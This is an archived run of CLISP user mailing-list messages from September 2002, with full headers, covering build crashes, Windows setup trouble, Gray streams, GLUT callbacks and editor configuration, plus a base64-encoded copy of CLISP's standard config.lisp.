clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 5 08:13:06 2002 X-Original-Date: Thu, 5 Sep 2002 16:06:49 +0100 On Thursday 05 Sep 2002 3:47 pm, Bruno Haible wrote: > * The only platform that I've seen that has > is glibc. But the functions declared in it don't work on > all platforms (in particular they don't work on i686). > The glibc maintainers don't want to fix it; they say these > are hardware limitations. That sounds quite unlikely - I'm certainly sure i686 can implement enough different modes for clisp. Do you have any link to any discussion of this? > So now we use autoconf checks to optimize clisp's code for the default > FP behaviour. OK, no problem, I'll check out CVS and see if it works for me. I am currently trying to get the build working on Linux/hppa. The avcall stuff is still broken but I think I am getting towards a solution. From haible@ilog.fr Thu Sep 05 09:00:11 2002 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17mz3A-0002vA-00 for ; Thu, 05 Sep 2002 09:00:08 -0700 Received: from ftp.ilog.fr (ftp.ilog.fr [193.55.64.11]) by sceaux.ilog.fr (8.11.6/8.11.6) with SMTP id g85FuAN13736 for ; Thu, 5 Sep 2002 17:56:20 +0200 (MET DST) Received: from laposte.ilog.fr ([193.55.64.67]) by ftp.ilog.fr (NAVGW 2.5.1.16) with SMTP id M2002090517593220871 ; Thu, 05 Sep 2002 17:59:32 +0200 Received: from honolulu.ilog.fr ([172.17.4.104]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id g85FxVt06979; Thu, 5 Sep 2002 17:59:31 +0200 (MET DST) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id SAA20968; Thu, 5 Sep 2002 18:01:34 +0200 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15735.32734.68980.263823@honolulu.ilog.fr> To: Will Newton Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Subject: [clisp-list] Re: fenv.h support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 5 09:01:02 2002 X-Original-Date: Thu, 5 Sep 2002 18:01:34 +0200 (CEST) > > But the functions declared in it don't work on > > all platforms (in particular they don't work on i686). > > The glibc maintainers don't want to fix it; they say these > > are hardware limitations. > > That sounds quite unlikely - I'm certainly sure i686 can implement enough > different modes for clisp. Do you have any link to any discussion of this? Here are the links: http://sources.redhat.com/ml/libc-alpha/2002-05/msg00241.html http://sources.redhat.com/ml/libc-alpha/2002-06/msg00154.html Bruno From will@misconception.org.uk Thu Sep 05 15:08:21 2002 Received: from imailg1.svr.pol.co.uk ([195.92.195.179]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17n4nU-000790-00 for ; Thu, 05 Sep 2002 15:08:20 -0700 Received: from modem-45.goatfish.dialup.pol.co.uk ([62.137.17.45] helo=there) by imailg1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17n4nR-0000f0-00 for clisp-list@lists.sourceforge.net; Thu, 05 Sep 2002 23:08:18 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Linux/hppa crash Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Sep 5 15:09:02 2002 X-Original-Date: Thu, 5 Sep 2002 23:11:36 +0100 The interpreter crashes with a SIGSEGV. I have included the backtrace. I will try to debug it myself, but if anyone has any suggestions they would be gratefully received. (gdb) run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" Starting program: /home/will/debian/build/clisp/debian/build/lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" Program received signal SIGSEGV, Segmentation fault. expand_deftype (type_spec=0x25d4e9, once_p=false) at predtype.d:1956 1956 pushSTACK(TheSubr(subr_self)->name); (gdb) print subr_self $1 = 0x0 (gdb) bt #0 expand_deftype (type_spec=0x25d4e9, once_p=false) at predtype.d:1956 #1 0x000a094c in valid_type1 (name=0x25d4e9) at sequence.d:142 #2 0x000a0d38 in valid_type (name=0x25d4e9) at sequence.d:225 #3 0x000a240c in coerce_sequence (sequence=0x25d4e9, result_type=0x0, error_p=true) at sequence.d:994 #4 0x0003427c in match_subr_key (fun=0x256c32, argcount=0, key_args_pointer=0x4027e088, rest_args_pointer=0x4027e0a0) at eval.d:2776 #5 0x00038298 in funcall_subr (fun=0x256c32, args_on_stack=2) at eval.d:5381 #6 0x000759bc in allocate_syntax_table () at io.d:199 #7 0x00075ae4 in orig_readtable () at io.d:357 #8 0x00076240 in init_reader () at io.d:571 #9 0x0002ac2c in init_symbol_values () at spvw.d:1213 #10 0x0002b854 in initmem () at spvw.d:1432 #11 0x0002d4e8 in main (argc=8, argv=0x8010018) at spvw.d:2553 (gdb) From hank.abbott@lmco.com Fri Sep 06 13:44:15 2002 Received: from mailgw1a.lmco.com ([192.31.106.7]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17nPxe-0002Wn-00 for ; Fri, 06 Sep 2002 13:44:14 -0700 Received: from emss02g01.ems.lmco.com (relay2.ems.lmco.com [166.29.2.54]) by mailgw1a.lmco.com (8.11.6/8.11.6) with ESMTP id g86KiAS09343 for ; Fri, 6 Sep 2002 14:44:10 -0600 (MDT) Received: from CONVERSION-DAEMON.lmco.com by lmco.com (PMDF V6.1-1 #40644) id <0H2100701APPX2@lmco.com> for clisp-list@lists.sourceforge.net; Fri, 06 Sep 2002 14:44:03 -0600 (MDT) Received: from emss02i00.ems.lmco.com ([166.29.2.48]) by lmco.com (PMDF V6.1-1 #40644) with ESMTP id <0H2100C86AKYQP@lmco.com> for clisp-list@lists.sourceforge.net; Fri, 06 Sep 2002 14:36:35 -0600 (MDT) Received: by emss02i00.ems.lmco.com with Internet Mail Service (5.5.2653.19) id ; Fri, 06 Sep 2002 14:36:34 -0600 Content-return: allowed From: "Abbott, Hank" To: "'clisp-list@lists.sourceforge.net'" Message-id: MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-type: multipart/mixed; boundary="Boundary_(ID_gxR7TKpBqm6XqcDBoZmioA)" Subject: [clisp-list] Installation clisp-2_29-win32 regex.zip Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 6 13:45:03 2002 X-Original-Date: Fri, 06 Sep 2002 14:36:30 -0600 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_gxR7TKpBqm6XqcDBoZmioA) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Sam Steingold, I used notebook to open the scr/config.lisp to change strings as requested in the Readme File. But, I have no idea what strings to change (first timer). When I double click on lisp.exe the following shows up. ---------------------------- Warning: no initialization file specified. Please try: d:\data\habbott\Desktop\everything Abbott\habbott\hank\computer studies\clisp-2.29\list.exe -M lispinit.mem Warning: no initialization directory specified. Please try: d:\data\habbott\Desktop\everything Abbott\habbott\hank\computer studies\clisp-2.29\list.exe -B /user/local/lib/clisp ------------------------------------------ I know there is some relationship between the warnings and my lack of changing the strings. It is 'what needs to be changed' I lack. Attached is the file that needs to be change. Please help out by changing the file for me. I imagine the warnings are trying to give me a clue as what to do and should have the information you need. Thanks, Hank Cell with mail: 228-332-0706 Office: 228-813-2169 hank.abbott@lmco.com --Boundary_(ID_gxR7TKpBqm6XqcDBoZmioA) Content-type: application/octet-stream; name=config.lisp Content-transfer-encoding: BASE64 Content-disposition: attachment; filename=config.lisp IzBZIFVURi04IDs7OyAgVGhpcyBmaWxlIGlzIFVuaWNvZGUvVVRGLTggZW5jb2Rl ZC4gIC0qLSBjb2Rpbmc6IHV0Zi04IC0qLQ0KDQo7OzsgU2l0ZSBzcGVjaWZpYyBk ZWZpbml0aW9ucywgdG8gYmUgbW9kaWZpZWQgb24gaW5zdGFsbGF0aW9uDQoNCihp bi1wYWNrYWdlICJFWFQiKQ0KKG1hcGNhciAjJ2ZtYWt1bmJvdW5kICcoc2hvcnQt c2l0ZS1uYW1lIGxvbmctc2l0ZS1uYW1lKSkNCg0KKGRlZnVuIHNob3J0LXNpdGUt bmFtZSAoKQ0KICAobGV0ICgocyAob3INCiAgICAgICAgICAgIChzeXN0ZW06OnJl Z2lzdHJ5ICJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzIE5UXFxDdXJyZW50 VmVyc2lvbiINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJSZWdpc3Rl cmVkT3JnYW5pemF0aW9uIikNCiAgICAgICAgICAgIChzeXN0ZW06OnJlZ2lzdHJ5 ICJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvbiIN CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJSZWdpc3RlcmVkT3JnYW5p emF0aW9uIikpKSkNCiAgICAoY2hlY2stdHlwZSBzIHN0cmluZykNCiAgICBzKSkN CihkZWZ1biBsb25nLXNpdGUtbmFtZSAoKQ0KICAobGV0ICgocyAob3INCiAgICAg ICAgICAgIChzeXN0ZW06OnJlZ2lzdHJ5ICJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxX aW5kb3dzIE5UXFxDdXJyZW50VmVyc2lvbiINCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICJSZWdpc3RlcmVkT3duZXIiKQ0KICAgICAgICAgICAgKHN5c3Rl bTo6cmVnaXN0cnkgIlNPRlRXQVJFXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJl bnRWZXJzaW9uIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlJlZ2lz dGVyZWRPd25lciIpKSkpDQogICAgKGNoZWNrLXR5cGUgcyBzdHJpbmcpDQogICAg cykpDQoNCihkZWZwYXJhbWV0ZXIgKmVkaXRvciogIm5vdGVwYWQuZXhlIiAiVGhl IG5hbWUgb2YgdGhlIGVkaXRvci4iKQ0KKGRlZnVuIGVkaXRvci1uYW1lICgpIChv ciAoc3lzOjpnZXRlbnYgIkVESVRPUiIpICplZGl0b3IqKSkNCg0KKGRlZnVuIGVk aXRvci10ZW1wZmlsZSAoKQ0KICAiVGhlIHRlbXBvcmFyeSBmaWxlIExJU1AgY3Jl YXRlcyBmb3IgZWRpdGluZy4iDQogICJsaXNwdGVtcC5saXNwIikNCg0KKGRlZnVu IGVkaXQtZmlsZSAoZmlsZSkNCiAgIihlZGl0LWZpbGUgZmlsZSkgZWRpdHMgYSBm aWxlLiINCiAgKGV4ZWN1dGUgKGVkaXRvci1uYW1lKSAobmFtZXN0cmluZyBmaWxl IHQpKSkNCg0KOzsgVHJlYXQgQ3RybC1aIGluIGZpbGVzIGFzIHdoaXRlc3BhY2Uu IFNvbWUgbG9zaW5nIG1pZGRsZS1hZ2UNCjs7IGVkaXRvcnMgaW5zaXN0IG9uIGFw cGVuZGluZyB0aGlzIHRvIGZpbGVzLg0KKGV2YWwtd2hlbiAobG9hZCBldmFsIGNv bXBpbGUpDQogIChzZXQtc3ludGF4LWZyb20tY2hhciAjXENvZGUyNiAjXFNwYWNl KSkNCg0KKGRlZnBhcmFtZXRlciAqbG9hZC1wYXRocyoNCiAgJygjIkM6IiAgICAg ICAgICAgICAgICA7IGVyc3QgaW0gQ3VycmVudC1EaXJlY3Rvcnkgdm9uIExhdWZ3 ZXJrIEM6DQogICAgIyJDOlxcQ0xJU1BcXC4uLlxcIikgOyBkYW5uIGluIGFsbGVu IERpcmVjdG9yaWVzIHVudGVyaGFsYiBDOlxDTElTUA0KICAiVGhlIGxpc3Qgb2Yg ZGlyZWN0b3JpZXMgd2hlcmUgcHJvZ3JhbXMgYXJlIHNlYXJjaGVkIG9uIExPQUQg ZXRjLg0KaWYgZGV2aWNlIGFuZCBkaXJlY3RvcnkgYXJlIHVuc3BlY2lmaWVkOiIp DQoNCjs7IFRoaXMgbWFrZXMgc2NyZWVuIG91dHB1dCBwcmV0dGllcjoNCihzZXRx ICpwcmludC1wcmV0dHkqIHQpDQoNCjs7IHVuZGVyc3RhbmQgQ1lHV0lOIHBhdGhu YW1lcw0KKHNldHEgKmRldmljZS1wcmVmaXgqICJjeWdkcml2ZSIpDQoNCjs7IENv bW1vbiBMaXNwIEh5cGVyU3BlYyBhY2Nlc3MNCihkZWZ2YXIgKmNsaHMtcm9vdC1k ZWZhdWx0KikNCihkZWZ1biBjbGhzLXJvb3QgKCkNCiAgIlRoaXMgcmV0dXJucyB0 aGUgcm9vdCBVUkwgZm9yIHRoZSBDb21tb24gTGlzcCBIeXBlclNwZWMuDQpZb3Ug Y2FuIHNldCB0aGUgZW52aXJvbm1lbnQgdmFyaWFibGUgYENMSFNST09UJyBvciBy ZWRlZmluZSB0aGlzIGZ1bmN0aW9uDQppbiB+Ly5jbGlzcHJjLiAgT24gd2luMzIg eW91IGNhbiBhbHNvIHVzZSB0aGUgUmVnaXN0cnkuIg0KICAob3IgKHN5czo6Z2V0 ZW52ICJDTEhTUk9PVCIpDQogICAgICAobGV0ICgocyAoc3lzdGVtOjpyZWdpc3Ry eSAiU09GVFdBUkVcXEdOVVxcQ0xJU1AiICJDTEhTUk9PVCIpKSkNCiAgICAgICAg KGNoZWNrLXR5cGUgcyAob3IgbnVsbCBzdHJpbmcpKQ0KICAgICAgICBzKQ0KICAg ICAgKmNsaHMtcm9vdC1kZWZhdWx0KikpDQooc2V0cSAqY2xocy1yb290LWRlZmF1 bHQqICJodHRwOi8vd3d3Lmxpc3Aub3JnL0h5cGVyU3BlYy8iKQ0K --Boundary_(ID_gxR7TKpBqm6XqcDBoZmioA)-- From empb@bese.it Fri Sep 06 16:28:29 2002 Received: from mail-2.tiscali.it ([195.130.225.148] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17nSWZ-0005kh-00 for ; Fri, 06 Sep 2002 16:28:27 -0700 Received: from localhost (62.10.95.190) by mail.tiscali.it (6.5.026) id 3D6E343100354A3C for clisp-list@lists.sourceforge.net; Sat, 7 Sep 2002 01:28:17 +0200 To: "'clisp-list@lists.sourceforge.net'" Subject: Re: [clisp-list] Installation clisp-2_29-win32 regex.zip References: From: Marco Baringer In-Reply-To: Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 6 16:29:04 2002 X-Original-Date: 07 Sep 2002 01:29:27 +0200 "Abbott, Hank" writes: > When I double click on lisp.exe the following shows up. > ---------------------------- > Warning: no initialization file specified. > Please try: d:\data\habbott\Desktop\everything Abbott\habbott\hank\computer > studies\clisp-2.29\list.exe -M lispinit.mem are you sure the messafe said 'list.exe' and not 'lisp.exe' ? > > Warning: no initialization directory specified. > Please try: d:\data\habbott\Desktop\everything Abbott\habbott\hank\computer > studies\clisp-2.29\list.exe -B /user/local/lib/clisp idem > ------------------------------------------ > I know there is some relationship between the warnings and my lack of > changing the strings. It is 'what needs to be changed' I lack. not really. the problem is that you're running lisp.exe which requires a bunch of parameters, such as the memory image to load (-M lispinit.mem) the init directory to use (-B C:\clisp), the heap size, etc. to avoid having to write these out each and every time (and to have some double-click'able) you should find a file clisp.bat which specifies the proper parameters, try running that instead, you need to have already run make (or nmake) install as this create the clisp.bat file. of course, the on true way to work with clisp is via Emacs+ILISP, but you can ignore that for now... happy hacking. -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From Scott.Williams@colorado.edu Fri Sep 06 17:15:59 2002 Received: from edgar.colorado.edu ([128.138.129.87]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17nTGX-0003Mz-00 for ; Fri, 06 Sep 2002 17:15:57 -0700 Received: from colorado.edu (arnt21-102-dhcp.resnet.Colorado.EDU [128.138.21.102]) by edgar.colorado.edu (8.11.2/8.11.2/ITS-5.0/student) with ESMTP id g870FkD28751 for ; Fri, 6 Sep 2002 18:15:46 -0600 (MDT) Message-ID: <3D792EC2.4070307@colorado.edu> From: Scott Williams User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020821 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] A little help with modules? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 6 17:16:09 2002 X-Original-Date: Fri, 06 Sep 2002 16:40:02 -0600 I'm writing an OpenGL/GLUT binding for clisp, and i've got almost everything working, except i have absolutely no clue how i should implement the GLUT callback interfaces. For example, take the C definition of an interface specifying a function to be called when the current window is resized: void glutReshapeFunc(void (*func)(int width, int height)); How do i go about implementing this? It'd be nice to be able to say something like: (use-package "opengl") ... (glutReshapeFunc #'(lambda (w h) (format t "Window resize.))) Is this possible? -Scott From lists@consulting.net.nz Fri Sep 06 22:39:51 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17nYJ0-0006SC-00 for ; Fri, 06 Sep 2002 22:39:44 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17nYID-0000Z7-00 for ; Sat, 07 Sep 2002 17:37:56 +1200 From: Adam Warner To: clisp-list@lists.sourceforge.net Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1031377382.2222.10.camel@work> Mime-Version: 1.0 Subject: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Sep 6 22:40:03 2002 X-Original-Date: 07 Sep 2002 17:43:02 +1200 Hi all, I'm hoping you can help me understand how to create a Gray binary output stream. First I create the stream (CLISP 2.29): (setf bstream (make-instance 'FUNDAMENTAL-BINARY-OUTPUT-STREAM)) # Then I attempt to set the STREAM-ELEMENT-TYPE according to the CLISP specific impnotes (what's the cross-platform way?): ((SETF STREAM-ELEMENT-TYPE) '(unsigned-byte 8) bstream) *** - NO-APPLICABLE-METHOD: When calling # with arguments ((UNSIGNED-BYTE 8) #), no method is applicable. Thanks, Adam From sds@gnu.org Sat Sep 07 09:46:22 2002 Received: from pool-151-203-41-56.bos.east.verizon.net ([151.203.41.56] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17niiz-00025p-00 for ; Sat, 07 Sep 2002 09:46:21 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g87GkR410329; Sat, 7 Sep 2002 12:46:27 -0400 To: Adam Warner Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream) References: <1031377382.2222.10.camel@work> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <1031377382.2222.10.camel@work> Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 7 09:47:03 2002 X-Original-Date: 07 Sep 2002 12:46:27 -0400 > * In message <1031377382.2222.10.camel@work> > * On the subject of "[clisp-list] ((SETF STREAM-ELEMENT-TYPE) new-element-type stream)" > * Sent on 07 Sep 2002 17:43:02 +1200 > * Honorable Adam Warner writes: > > I'm hoping you can help me understand how to create a Gray binary > output stream. see, e.g., describe.lisp in the CLISP sources for inspiration. > (setf bstream (make-instance 'FUNDAMENTAL-BINARY-OUTPUT-STREAM)) > # what do you think this stream should do? > Then I attempt to set the STREAM-ELEMENT-TYPE according to the CLISP > specific impnotes (what's the cross-platform way?): > > ((SETF STREAM-ELEMENT-TYPE) '(unsigned-byte 8) bstream) > > *** - NO-APPLICABLE-METHOD: When calling # STREAM-ELEMENT-TYPE)> with arguments ((UNSIGNED-BYTE 8) > #), no method is > applicable. before you can call a function, you have to define it. before you can write (setf (stream-element-type bstream) '(unsigned-byte 8)) you have to write (defmethod (setf stream-element-type) ((bstream fundamental-binary-output-stream))) what are you trying to accomplish? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux If abortion is murder, then oral sex is cannibalism. From sds@gnu.org Sat Sep 07 09:50:53 2002 Received: from pool-151-203-41-56.bos.east.verizon.net ([151.203.41.56] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ninN-0003gt-00 for ; Sat, 07 Sep 2002 09:50:53 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.11.6/8.11.6) with ESMTP id g87Gp1410361; Sat, 7 Sep 2002 12:51:01 -0400 To: Scott Williams Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] A little help with modules? References: <3D792EC2.4070307@colorado.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3D792EC2.4070307@colorado.edu> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 7 09:51:03 2002 X-Original-Date: 07 Sep 2002 12:51:01 -0400 > * In message <3D792EC2.4070307@colorado.edu> > * On the subject of "[clisp-list] A little help with modules?" > * Sent on Fri, 06 Sep 2002 16:40:02 -0600 > * Honorable Scott Williams writes: > > I'm writing an OpenGL/GLUT binding for clisp, and i've got almost > everything working, congratulations! > How do i go about implementing this? It'd be nice to be able to say > something like: > > (use-package "opengl") > ... > (glutReshapeFunc #'(lambda (w h) (format t "Window resize.))) > > Is this possible? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Is there another word for synonym? From mant0080@umn.edu Sat Sep 07 13:56:09 2002 Received: from mhub-c2.tc.umn.edu ([160.94.128.45]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17nmci-0001jt-00 for ; Sat, 07 Sep 2002 13:56:09 -0700 Received: from dingo.software.umn.edu by mhub-c2.tc.umn.edu with ESMTP for clisp-list@lists.sourceforge.net; Sat, 7 Sep 2002 15:56:07 -0500 Received: (from nobody@localhost) by dingo.software.umn.edu (8.11.4/8.11.4) id g87KuST13705; Sat, 7 Sep 2002 15:56:28 -0500 Message-Id: <200209072056.g87KuST13705@dingo.software.umn.edu> From: Sophronis Mantoles To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII X-Tick-Nemesis: American Maid X-remote-user-ip: 204.248.127.211 Subject: [clisp-list] editing using notepad or another editor Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 7 13:57:01 2002 X-Original-Date: Sat, 07 Sep 2002 15:56:28 CDT   I am new to the list and I am pretty sure this came up before. I am using clisp version 2.29 for windows running on windows XP. I am trying to call an editor from the clisp prompt by typing: [1]>(load "editor") and I can not get it to work. The editor called in my config.lsp file is the notepad.exe actually when I load the config.lsp file I am getting error loading. Everything else seems to be working. The readme file on the distribution for version 2.29 calls for a set of instructions to create a batch file etc. I just used the batch file that came with the distribution. Am I off on a tangent on this one? any help would be appreciated. I would rather be on a unix environment but I am on windows by necessity. Thank you, Sophronis Mantoles From empb@bese.it Sat Sep 07 14:59:45 2002 Received: from mail-3.tiscali.it ([195.130.225.149] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17nncF-0001fy-00 for ; Sat, 07 Sep 2002 14:59:43 -0700 Received: from localhost (62.10.94.130) by mail.tiscali.it (6.5.026) id 3D6DC6E9003A513F for clisp-list@lists.sourceforge.net; Sat, 7 Sep 2002 23:59:29 +0200 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] editing using notepad or another editor References: <200209072056.g87KuST13705@dingo.software.umn.edu> From: Marco Baringer In-Reply-To: <200209072056.g87KuST13705@dingo.software.umn.edu> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Sep 7 15:00:04 2002 X-Original-Date: 08 Sep 2002 00:00:28 +0200 Sophronis Mantoles writes: > I am trying to call an editor from the clisp prompt by typing: > > [1]>(load "editor") > > and I can not get it to work. you want to read up the docs on the function ED. the function LOAD loads a file (evals all the forms in the file sequentially), so what you're doing there is trying to load a file named editor.lisp (or editor.fasl if it exists and is newer than editor.lisp). > The editor called in my config.lsp file is the notepad.exe > actually when I load the config.lsp file I am getting error loading. > Everything else seems to be working. The readme file on the distribution > for version 2.29 calls for a set of instructions to create a batch file > etc. I just used the batch file that came with the distribution. Am I off > on a tangent on this one? i suggest you get Emacs+ILISP working. at first it can seem like a lot of work just to get started, but it's well worth it. > I would rather be on a unix environment but I am on windows by necessity. that's why we have Emacs. -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From edi@agharta.de Sat Sep 07 15:23:07 2002 Received: from bird.agharta.de ([62.159.208.85]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17nnyp-00016v-00 for ; Sat, 07 Sep 2002 15:23:03 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id 4CAC926023C; Sun, 8 Sep 2002 00:23:04 +0200 (CEST) To: Sophronis Mantoles Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] editing using notepad or another editor References: <200209072056.g87KuST13705@dingo.software.umn.edu> From: Edi Weitz In-Reply-To: <200209072056.g87KuST13705@dingo.software.umn.edu> Message-ID: <87znut5tiv.fsf@bird.agharta.de> Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user 